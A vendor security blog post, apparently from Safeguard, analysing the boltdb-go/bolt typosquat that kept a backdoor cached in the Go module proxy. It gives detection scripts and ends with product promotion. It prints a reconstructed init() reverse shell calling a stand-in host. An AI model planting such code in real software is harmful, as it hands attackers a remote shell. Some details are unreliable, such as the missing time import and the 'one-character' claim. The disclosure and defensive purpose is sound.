The Go Module Mirror, hosted at proxy.golang.org, is one of the most-cited examples of how to do package immutability right: once a version is published to the mirror, it cannot be silently overwritten upstream, because the mirror serves its own cached copy forever. That immutability is also the property an attacker exploited to keep a backdoor live in the Go ecosystem from November 2021 until February 2025 — three years and three months — through a malicious typosquat called github.com/boltdb-go/bolt. Socket disclosed the attack on January 30, 2025, and the case has become a textbook example of how a defensive feature can become a persistence mechanism when the trust model is misaligned with the cache model.
How does the Go module mirror work?
When a Go developer runs go get github.com/example/module@v1.2.3, the toolchain by default fetches the module from proxy.golang.org rather than directly from GitHub. The mirror, operated by Google, caches each version's source tarball and a corresponding cryptographic checksum (.ziphash) recorded in sum.golang.org. That checksum is consulted on every install to verify the bytes match what the mirror originally saw — the model that prevents an upstream maintainer from silently swapping out a release. The pattern works perfectly against accidental drift and against an attacker who tries to overwrite a release after the fact: the checksum will not match.
What did the attacker actually do?
The threat actor used the GitHub alias boltdb-go to create a new repository named bolt whose path was github.com/boltdb-go/bolt. That URL is a one-character typosquat of github.com/boltdb/bolt, the long-standing key-value database that Shopify, Heroku, etcd, and Consul all depend on. They published version v1.3.1 containing a backdoor in the db.go file: an init() function that opened a reverse shell to a hardcoded C2 server. The Go module proxy fetched and cached the malicious tarball at publish time, computed and registered its checksum, and made it available to anyone who imported that exact module path.
// Reconstructed init() backdoor (redacted)
package bolt
import (
"net"
"os/exec"
)
func init() {
go func() {
for {
conn, err := net.Dial("tcp", "evil.example:443")
if err != nil {
time.Sleep(60 * time.Second)
continue
}
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn; cmd.Stdout = conn; cmd.Stderr = conn
cmd.Run()
conn.Close()
}
}()
}
What was the persistence trick?
After publication, the attacker did something subtle. They force-pushed over the v1.3.1 git tag in the GitHub repository, replacing the backdoored source with a clean fork of the legitimate boltdb code. From that point on, anyone visiting github.com/boltdb-go/bolt saw only benign code. Any researcher pulling the source manually to audit it would find nothing suspicious. But the Go module proxy had already cached the malicious tarball, and because immutability is a feature, the cache continued to serve the backdoored bytes to every go get request for boltdb-go/bolt@v1.3.1 for the next three years.
How was it finally caught?
Socket's researcher Kirill Boychenko was running comparative analysis between the Go proxy cache and live GitHub state across a large slice of the module index. The check is straightforward in concept: pull the cached .zip from proxy.golang.org, pull the tagged source from GitHub, diff them. Any meaningful divergence is a candidate for further review. The boltdb-go/bolt divergence was glaring: the cached version had network and os/exec imports that did not appear in the GitHub source. Socket reported the discrepancy to Google and GitHub on January 30, 2025. The malicious cache entry was removed within hours, the GitHub repository was suspended, and the Go security team filed a vulncheck advisory.
How big was the blast radius?
Surprisingly small. Public usage telemetry showed only two known imports of github.com/boltdb-go/bolt, both in a single cryptocurrency project with seven GitHub followers. That low number was a feature of the typosquat strategy: typosquats of small-fanout target names succeed against specific developers rather than entire ecosystems. The campaign's value to its operator was probably the cryptocurrency wallet on the other end, not the broad install base. But the technique is generally applicable, and the implication for defenders is far larger than the immediate damage: any Go module path created by an arbitrary GitHub user can plant a permanently cached backdoor that survives even after the upstream repo is sanitized.
What detection rules apply?
The strongest signal is path divergence: any time a Go module's mirror-cached source diverges materially from its current upstream tag, treat it as a candidate compromise. The Go team has published an internal divergence-check tooling sketch in the golang/vulndb repository; the same logic is available to any team that runs go mod download for offline auditing.
# Compare mirror cache to upstream
MODULE="github.com/example/module"
VERSION="v1.2.3"
GOPROXY=https://proxy.golang.org go mod download -x "$MODULE@$VERSION"
git clone --depth 1 --branch "$VERSION" "https://$MODULE" /tmp/upstream
diff -r $GOPATH/pkg/mod/cache/download/$MODULE/@v /tmp/upstream || \
echo "DIVERGENCE detected for $MODULE@$VERSION"
# Pre-import check: alert on any new Go module from a one-character variant of a top dependency
go list -m -json all | jq -r '.Path' | \
awk -F/ '{print $1"/"$2"/"$3}' | sort -u
What did Google change after the disclosure?
The Go team committed to three improvements. First, the proxy will no longer serve a cached zip whose corresponding upstream tag has been deleted or force-pushed past — divergent versions now require a fresh fetch with an explicit warning. Second, the golang.org/x/vuln/cmd/govulncheck tool was extended to detect tag-fork-divergence as a vulnerability category, integrating with the existing osv.dev feed for Go. Third, the team is exploring a Sigstore attestation that ties a cached module version to a specific GitHub commit SHA, so a force-push downstream of publication would invalidate the attestation rather than silently leave the malicious bytes in place.
How Safeguard Helps
Safeguard's Go provider plugin runs continuous divergence checks between proxy.golang.org and the current upstream state for every module in your products' dependency trees, flagging any version where the mirrored bytes no longer match the upstream tag. Griffin AI inspects each new Go module dependency for one-character or homoglyph variants of top-2000 modules — the same heuristic that would have flagged boltdb-go/bolt against boltdb/bolt at first import. Policy gates require that every Go dependency have a valid go.sum checksum, a verified upstream commit, and either a Sigstore attestation or at least 60 days of stability without tag rewrites. The malicious-package feed includes the boltdb-go IOC and the broader pattern of typosquat-with-force-push events; TPRM workflows track each upstream Go organization's tag-protection settings so a project that allows force-push to release tags surfaces as a procurement risk before it becomes the next boltdb-go.